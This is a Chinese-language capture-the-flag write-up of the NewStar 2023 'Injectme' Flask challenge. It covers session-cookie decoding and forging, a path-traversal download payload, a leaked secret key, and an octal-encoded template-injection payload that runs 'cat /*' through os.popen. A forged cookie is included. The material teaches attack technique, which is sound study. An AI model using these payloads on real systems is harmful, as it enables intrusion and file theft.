伪造session一定要密钥!!!也就是我们说的secret_key
工具 flask解密 法一:https://github.com/noraj/flask-session-cookie-manager
python flask_session_cookie_manager3.py decode -s “secret_key” -c “需要解密的session值”
法二:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import sysimport zlibfrom base64 import b64decodefrom flask.sessions import session_json_serializerfrom itsdangerous import base64_decodedef decryption (payload ): payload, sig = payload.rsplit(b'.' , 1 ) payload, timestamp = payload.rsplit(b'.' , 1 ) decompress = False if payload.startswith(b'.' ): payload = payload[1 :] decompress = True try : payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception' ) if decompress: try : payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload' ) return session_json_serializer.loads(payload) if __name__ == '__main__' : print (decryption("eyJ1c2VybmFtZSI6eyIgYiI6IlozVmxjM1E9In19.XyZ3Vw.OcD3-l1yOcq8vlg8g4Ww3FxrhVs" .encode()))
flask加密 python flask_session_cookie_manager3.py encode -s “secret_key” -t “需要加密的session值”
例题 Newstar2023 Injectme
在110.jpg中我们看到了部分源码 可以看到是个下载文件的代码,在download路由下,但对文件名有过滤,过滤了../,直接双写绕过,根据经验猜测一下文件名,然后一层一层往上找即可,payload:/download/?file=…/./…/./…/./app/app.py,拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import os import re from flask import Flask, render_template, request, abort, send_file, session, render_template_string from config import secret_key app = Flask(__name__) app.secret_key = secret_key @app.route('/' ) def hello_world (): return render_template('index.html' ) @app.route("/cancanneed" , methods=["GET" ] ) def cancanneed (): all_filename = os.listdir('./static/img/' ) filename = request.args.get('file' , '' ) if filename: return render_template('img.html' , filename=filename, all_filename=all_filename) else : return f"{str (os.listdir('./static/img/' ))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>" @app.route("/download" , methods=["GET" ] ) def download (): filename = request.args.get('file' , '' ) if filename: filename = filename.replace('../' , '' ) filename = os.path.join('static/img/' , filename) print (filename) if (os.path.exists(filename)) and ("start" not in filename): return send_file(filename) else : abort(500 ) else : abort(404 ) @app.route('/backdoor' , methods=["GET" ] ) def backdoor (): try : print (session.get("user" )) if session.get("user" ) is None : session['user' ] = "guest" name = session.get("user" ) if re.findall( r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.' , name): abort(500 ) else : return render_template_string( '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name) except Exception: abort(500 ) @app.errorhandler(404 ) def page_not_find (e ): return render_template('404.html' ), 404 @app.errorhandler(500 ) def internal_server_error (e ): return render_template('500.html' ), 500 if __name__ == '__main__' : app.run('0.0.0.0' , port=8080 )
源码开头看到secret_key是从config文件中导入,backdoor函数这里又需要让session的值可控,session伪造无疑了,然后禁用了一大堆ssti函数,肯定是要打ssti了
下载config文件:download/?file=…/./…/./…/./app/config.py
拿到secret_key = “y0u_n3ver_k0nw_s3cret_key_1s_newst4r”
session解密后发现是{‘user’: ‘guest’},我们要把guest换成ssti的语句
ssti这里过滤了好多东西,直接八进制编码绕过即可x|attr(""\\137\\137\\151\\156\\151\\164\\137\\137"")|attr(""\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137"")|attr(""\\137\\137\\147\\145\\164\\151\\164\\145\\155\\137\\137"")|attr(""\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137"")|attr(""\\137\\137\\147\\145\\164\\151\\164\\145\\155\\137\\137"")|attr(""\\145\\166\\141\\154"")(""\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\143\\141\\164\\040\\057\\052\\042\\051\\056\\162\\145\\141\\144\\050\\051"")
伪造后的session:.eJy1kD0OwjAMhe9iqVK7uYltJM6ShYGBBaFSpEqld6d26v7QDiwsVhK_9_k5Pbye1wbO0BeP5nZvy67r3pe2bcoEKdXx5IVrLeInoVUXqkMLmU-FbNegpfY3iT8SiH3eMtnemDeEnVnnCc_ZaYOxVf6UIatlte4-XQ5hQvQfkvD9swl57KKtkiVxuqICMG-xAHDOJRsvRQ-jeCRtsOHDAS84xRxEjholUFXFAMMHKM2ZMA.ZVd5wg.NN4PVUmSQiA6Ll-XV1SkJq_5b50